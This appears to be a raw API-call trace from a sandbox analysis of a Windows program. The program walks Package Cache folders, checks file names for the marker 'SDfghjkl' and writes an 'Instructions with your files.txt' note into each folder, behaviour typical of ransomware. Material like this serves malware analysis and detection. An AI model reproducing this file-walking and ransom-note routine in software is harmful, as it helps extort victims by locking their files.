[0126.410] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.412] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\.") returned 94
[0126.412] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.412] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\..") returned 95
[0126.412] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0126.412] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 115
[0126.412] GetProcessHeap () returned 0x810000
[0126.412] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.412] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned 117
[0126.412] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.412] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\.") returned 117
[0126.412] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.412] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\..") returned 118
[0126.412] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c0e500, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xd3c0e500, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xd3c0e500, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.412] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 124
[0126.412] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.412] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.412] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 141
[0126.412] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0126.412] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7a0c00, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfd7a0c00, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfd7a0c00, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.413] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 148
[0126.413] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0126.414] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0126.415] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0126.415] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0126.415] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0126.415] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0126.416] CloseHandle (hObject=0x114) returned 1
[0126.416] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0126.416] GetProcessHeap () returned 0x810000
[0126.416] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0126.416] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0126.416] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Instructions with your files.txt") returned 125
[0126.416] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0126.416] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0126.417] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0126.417] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0126.417] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0126.418] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0126.418] CloseHandle (hObject=0x110) returned 1
[0126.418] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0126.418] GetProcessHeap () returned 0x810000
[0126.418] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0126.418] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0126.418] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Instructions with your files.txt") returned 116
[0126.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0126.418] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0126.419] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0126.419] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0126.419] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0126.419] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0126.419] CloseHandle (hObject=0x10c) returned 1
[0126.420] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0126.420] GetProcessHeap () returned 0x810000
[0126.420] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0126.420] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
[0126.420] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82
[0126.420] GetProcessHeap () returned 0x810000
[0126.420] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.420] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*") returned 84
[0126.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.421] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\.") returned 84
[0126.421] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.421] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\..") returned 85
[0126.421] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.421] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages") returned 91
[0126.421] GetProcessHeap () returned 0x810000
[0126.421] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.421] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*") returned 93
[0126.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.421] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\.") returned 93
[0126.421] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.421] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\..") returned 94
[0126.421] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0126.421] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned 117
[0126.421] GetProcessHeap () returned 0x810000
[0126.421] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.421] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned 119
[0126.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.422] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\.") returned 119
[0126.422] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a20bca0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a257f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a257f60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.422] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\..") returned 120
[0126.422] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b1b00, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7c9b1b00, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7c9b1b00, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.422] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 126
[0126.422] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.422] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.422] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 146
[0126.422] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0126.422] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
